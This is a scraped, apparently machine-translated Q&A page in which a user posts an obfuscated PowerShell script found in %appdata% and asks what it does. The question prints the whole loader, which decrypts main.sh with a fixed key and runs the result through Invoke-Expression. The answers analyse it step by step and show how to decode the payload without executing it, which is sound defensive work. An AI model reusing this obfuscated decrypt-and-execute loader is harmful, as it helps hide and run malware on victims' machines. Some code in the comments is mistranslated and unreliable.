Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/powershell/13.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Windows PowerShell恶意脚本_Powershell_Virus - Fatal编程技术网

Windows PowerShell恶意脚本

Windows PowerShell恶意脚本,powershell,virus,Powershell,Virus,我在%appdata%漫游中的文件夹中找到此代码:( 有人能告诉我它是干什么的吗 try{Get-Transaction:Test-Connection New-WindowsImage:Register-ArgumentCompleter Get-HgsTrace:Set-VMMigrationNetwork}catch{ $sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -r

我在%appdata%漫游中的文件夹中找到此代码:( 有人能告诉我它是干什么的吗

try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{

$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}

谢谢!

让我们看看。第一个
try-catch
可能是模糊处理,以避免粗略检查。catch(双关语)位于
catch
块中。它包含有效负载,因此
try
块旨在引发异常

$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
  -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
变量包含模糊的单词
powershell
,这是通过将大量无意义字符串替换为零来显示的。有带搜索参数的
-replce
,但没有替换参数,因此它只删除填充符
IoG,ZsvjJ…

$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
此处
Get Process
用于查找Powershell是否正在运行。如果没有运行多个进程,请创建一个包含值1-16的数组。这可能是为了避免交互式会话处于活动状态的情况

$HXZBX=[System.Runtime.InteropServices.Marshal]
为InterOpServices的封送处理创建一个别名。这里没有什么麻烦,合法的用途是节省键入和读取长名称空间描述符的时间

$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
读取一个文件
main.sh
。它包含一个SecureString,用密钥1,2,3…,15,16加密

$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
SecureString负载被转换为BSTR。我猜这是到

try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
另一个“让我们隐藏在catch块中”,它设置了一个包含无意义内容的变量。不知道为什么

$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
另一个步骤是解密,然后是另一个
try catch
块中的奇怪东西,没有明显的意图

$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
SecureString转换的最终有效负载将被过滤以消除混淆,并将结果传递给执行
调用表达式

要查看有效负载是什么,请按照Jeramy的评论进行操作。将变量名称替换为更具描述性的名称:

$key=@(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString) 
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"

正是@vonPryz上面描述的内容。您可以通过从同一位置运行PowerShell并执行以下步骤获得更多信息:
$iuOpORc=get Content“main.sh”$kvsqjipalhpywxapr=ConvertTo SecureString$iuOpORc-key$uMBOKUgyzWiOSfp;$reEFPHvZmrf=$HXZBX::SecureStringToBSTR($kvsqjipalhpywxapr)$zcthAxqVWAZrzkx=$HXZBX::PtrToStringAuto($reEFPHvZmrf);$zcthAxqVWAZrzkx-替换“UGSttylIkwIFr”;
这应该可以从main.sh文件中获取他们试图执行的操作的名称。@Jeramy在执行步骤时遇到了一些错误。@Jeramy顺便说一句,main.sh文件中包含91.073个字符line@AlessioDe Feudis我忘了堆栈会折叠注释中的换行符。文件名后需要有一个semi:
$iuOpORc=获取内容“main.sh”
当然,我无法实际测试它,因为我没有源文件,但这应该可以为您获取它。